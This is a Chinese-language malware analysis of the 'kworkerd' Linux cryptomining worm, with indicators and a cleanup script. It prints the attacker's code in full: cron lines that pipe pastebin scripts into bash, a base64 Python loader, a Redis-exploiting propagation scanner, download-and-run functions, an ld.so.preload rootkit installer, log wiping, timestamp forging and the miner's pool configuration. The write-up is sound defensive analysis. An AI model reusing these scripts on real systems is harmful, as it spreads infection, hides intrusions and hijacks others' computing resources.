Kworkerd惡意挖礦分析
0x01 快速特徵排查
TOP顯示CPU佔用高,但是沒有高佔用的程序

存在與未知伺服器13531埠建立的TCP連線

檔案/etc/ld.so.preload中指向了/usr/local/lib/libntp.so

存在可疑執行base64編碼的python程序

0x02 快速清除
#!/bin/bash ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9 echo "" > /etc/cron.d/root echo "" > /etc/cron.d/system echo "" > /var/spool/cron/root echo "" > /var/spool/cron/crontabs/root rm -rf /etc/cron.hourly/oanacron rm -rf /etc/cron.daily/oanacron rm -rf /etc/cron.monthly/oanacron rm -rf /bin/httpdns sed -i '$d' /etc/crontab sed -i '$d' /etc/ld.so.preload rm -rf /usr/local/lib/libntp.so ps aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9 rm -rf /tmp/.tmph rm -rf /bin/kworkerds rm -rf /tmp/kworkerds rm -rf /usr/sbin/kworkerds rm -rf /etc/init.d/kworker chkconfig --del kworker
0x03 細節行為分析
搜尋引擎查詢相關問題,也有不少人碰到,比如:

首先,CPU佔用率100%,但是top命令檢視,無法看到高佔用程序,懷疑植入了rootkit。
檢視crontab的內容,已經被寫入了一個定時任務,每半小時左右會從pastebin上下載指令碼並且執行(pastebin是任意上傳分享的平臺,攻擊者藉此實現匿名)
ofollow,noindex" target="_blank">https://pastebin.com/raw/xbY7p5Tb
拿到xbY7p5Tb指令碼內容如下:

(curl -fsSL https://pastebin.com/raw/Gw7mywhC || wget -q-O- https://pastebin.com/raw/Gw7mywhC)|base64 -d |/bin/bash
指令碼中再次下載了另一個指令碼,並且對指令碼內容進行base64解碼後執行:

指令碼主要邏輯提取內容如下(省略了一堆呼叫的函式):
update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM ) if [ ${update}x = "update"x ];then echocron else if [ ! -f "/tmp/.tmph" ]; then rm -rf /tmp/.tmpg python fi kills downloadrun echocron system top sleep 10 port=$(netstat -anp | grep :13531 | wc -l) if [ ${port} -eq 0 ];then downloadrunxm fi echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron fi # # #
該惡意指令碼首先檢查更新,如果有更新,執行echocron進行更新操作
https://pastebin.com/raw/TzBeq3AM
接著檢查了/tmp/.tmph檔案是否存在,如果存在則刪除,並且執行python函式
名為Python的函式在指令碼中為:
function python() { nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 & touch /tmp/.tmph
其中執行的python程式碼經過了base64編碼,解碼後內容為:
#coding: utf-8 import urllib import base64 d= 'https://pastebin.com/raw/nYBpuAxT' try: page=base64.b64decode(urllib.urlopen(d).read()) exec(page) except: pass
這段python程式碼又從 https://pastebin.com/raw/nYBpuAxT讀取了內容,並且進行了執行:

再次base64解碼後的最終程式碼內容如下,是一個針對redis的掃描攻擊指令碼,用於擴散感染:
#! /usr/bin/env python #coding: utf-8 import threading import socket from re import findall import httplib IP_LIST = [] class scanner(threading.Thread): tlist = [] maxthreads = 20 evnt = threading.Event() lck = threading.Lock() def __init__(self,host): threading.Thread.__init__(self) self.host = host def run(self): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) s.connect((self.host, 6379)) s.send('set backup1 "\n\n\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn') s.send('set backup2 "\n\n\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn') s.send('config set dir /var/spool/cronrn') s.send('config set dbfilename rootrn') s.send('savern') s.close() except Exception as e: pass scanner.lck.acquire() scanner.tlist.remove(self) if len(scanner.tlist) < scanner.maxthreads: scanner.evnt.set() scanner.evnt.clear() scanner.lck.release() def newthread(host): scanner.lck.acquire() sc = scanner(host) scanner.tlist.append(sc) scanner.lck.release() sc.start() newthread = staticmethod(newthread) def get_ip_list(): try: url = 'ident.me' conn = httplib.HTTPConnection(url, port=80, timeout=10) req = conn.request(method='GET', url='/', ) result = conn.getresponse() ip2 = result.read() ips2 = findall(r'd+.d+.', ip2)[0][:-2] for u in range(0, 10): ip_list1 = (ips2 + (str(u)) +'.') for i in range(0, 256): ip_list2 = (ip_list1 + (str(i))) for g in range(0, 256): IP_LIST.append(ip_list2 + '.' + (str(g))) except Exception: pass def runPortscan(): get_ip_list() for host in IP_LIST: scanner.lck.acquire() if len(scanner.tlist) >= scanner.maxthreads: scanner.lck.release() scanner.evnt.wait() else: scanner.lck.release() scanner.newthread(host) for t in scanner.tlist: t.join() if __name__ == "__main__": runPortscan()
上述攻擊指令碼中,關鍵程式碼如下,通過掃描redis的6379埠,如果沒有做訪問驗證,則直接進行遠端命令執行進行感染。
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) s.connect((self.host, 6379)) s.send('set backup1 "\n\n\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn') s.send('set backup2 "\n\n\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn') s.send('config set dir /var/spool/cronrn') s.send('config set dbfilename rootrn') s.send('savern') s.close()
主邏輯中的python函式執行完畢,接著執行主要邏輯程式碼:
if [ ! -f "/tmp/.tmph" ]; then rm -rf /tmp/.tmpg python fi kills downloadrun echocron system top sleep 10 port=$(netstat -anp | grep :13531 | wc -l) if [ ${port} -eq 0 ];then downloadrunxm fi echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron
kills函式主要是檢查是否有其他挖礦等程式在執行,直接幹掉,這裡不做重點程式碼內容展示
downloadrun函式的內容如下,從thyrsi.com中下載了一個偽裝為jpg的檔案,儲存為/tmp下的kworkerds並執行:
function downloadrun() { ps=$(netstat -anp | grep :13531 | wc -l) if [ ${ps} -eq 0 ];then if [ ! -f "/tmp/kworkerds" ]; then curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerds if [ ! -f "/tmp/kworkerds" ]; then wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerds fi nohup /tmp/kworkerds >/dev/null 2>&1 & else nohup /tmp/kworkerds >/dev/null 2>&1 & fi fi }
Kworkerds檔案是挖礦本體程式,拿到後扔進virustotal檢查結果:

接著執行echocron函式,該函式在各個定時任務檔案中寫入下載惡意指令碼並執行的任務,並且清除相關日誌,這樣加大了清理的難度:

echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /etc/cron.d/root echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /etc/cron.d/system echo -e "*/23 * * * *(curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo -e "*/31 * * * *(curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /var/spool/cron/crontabs/root mkdir -p /etc/cron.hourly curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron if [ ! -f "/etc/cron.hourly/oanacron" ]; then wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron fi mkdir -p /etc/cron.daily curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron if [ ! -f "/etc/cron.daily/oanacron" ]; then wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron fi mkdir -p /etc/cron.monthly curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron if [ ! -f "/etc/cron.monthly/oanacron" ]; then wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron fi touch -acmr /bin/sh /var/spool/cron/root touch -acmr /bin/sh /var/spool/cron/crontabs/root touch -acmr /bin/sh /etc/cron.d/system touch -acmr /bin/sh /etc/cron.d/root touch -acmr /bin/sh /etc/cron.hourly/oanacron touch -acmr /bin/sh /etc/cron.daily/oanacron touch -acmr /bin/sh /etc/cron.monthly/oanacron
之後執行system和top函式,system函式中下載了一個惡意的指令碼檔案放置在/bin目錄下,並且寫入定時任務。
function system() { if [ ! -f "/bin/httpdns" ]; then curl -fsSL https://pastebin.com/raw/Fj2YdETv -o /bin/httpdns && chmod 755 /bin/httpdns if [ ! -f "/bin/httpdns" ]; then wgethttps://pastebin.com/raw/Fj2YdETv -O /bin/httpdns && chmod 755 /bin/httpdns fi if [ ! -f "/etc/crontab" ]; then echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab else sed -i '$d' /etc/crontab && echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab fi fi }
其中httpdns的內容為:

改指令碼再次下載了一個指令碼進行執行,指令碼內容與上面主指令碼內容類似(刪減了kills system top幾個函式;增加了init函式,即下載執行挖礦程式):

Top函式主要進行了rootkit的行為。
函式將偽裝為jpg的惡意連結庫檔案下載,首先放置在/usr/local/lib目錄下,之後替換/etc/ld.so.preload檔案,通過預載入劫持linux系統函式,使得top、ps等命令無法找到挖礦程序;

關於preload預載入惡意動態連結相關,可以閱讀此文參考:
https://blog.csdn.net/aganlengzi/article/details/21824553
最後通過touch–acmr命令,掩蓋剛剛執行的操作(使得檔案存取時間和變動時間與/bin/sh的日期一致,避免被懷疑)
function top() { mkdir -p /usr/local/lib/ if [ ! -f "/usr/local/lib/libntp.so" ]; then curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so if [ ! -f "/usr/local/lib/libntp.so" ]; then wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so fi fi if [ ! -f "/etc/ld.so.preload" ]; then echo /usr/local/lib/libntp.so > /etc/ld.so.preload else sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload fi touch -acmr /bin/sh /etc/ld.so.preload touch -acmr /bin/sh /usr/local/lib/libntp.so
執行上述函式後,主指令碼sleep10秒,判斷是否與13531埠建立了連線,如果沒有,則執行downloadrunxm函式(之後可以看到,13531是與連線的礦池埠)。
Downloadrunxm函式中,同樣下載了一個偽裝的jpg檔案,另存為/bin/config.json,又再次下載了kworkerds並且執行:
function downloadrunxm() { pm=$(netstat -anp | grep :13531 | wc -l) if [ ${pm} -eq 0 ];then if [ ! -f "/bin/config.json" ]; then curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod 777 /bin/config.json if [ ! -f "/bin/config.json" ]; then wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod 777 /bin/config.json fi fi if [ ! -f "/bin/kworkerds" ]; then curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod 777 /bin/kworkerds if [ ! -f "/bin/kworkerds" ]; then wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod 777 /bin/kworkerds fi nohup /bin/kworkerds >/dev/null 2>&1 & else nohup /bin/kworkerds >/dev/null 2>&1 & fi fi }
拿到的config.json的內容如下:
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "worker-id": null, "ipv6": false, "restricted": true }, "av": 0, "background": false, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 0, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 100, "pools": [ { "url": "stratum+tcp://xmr.f2pool.com:13531", "user": "47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA.xmrig", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": 1 } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": null, "user-agent": null, "watch": false }
連線的礦池為國內的f2pool.com魚池:

0x04 樣本收集分享
蒐集遇到的惡意挖礦repo:
https://github.com/MRdoulestar/whatMiner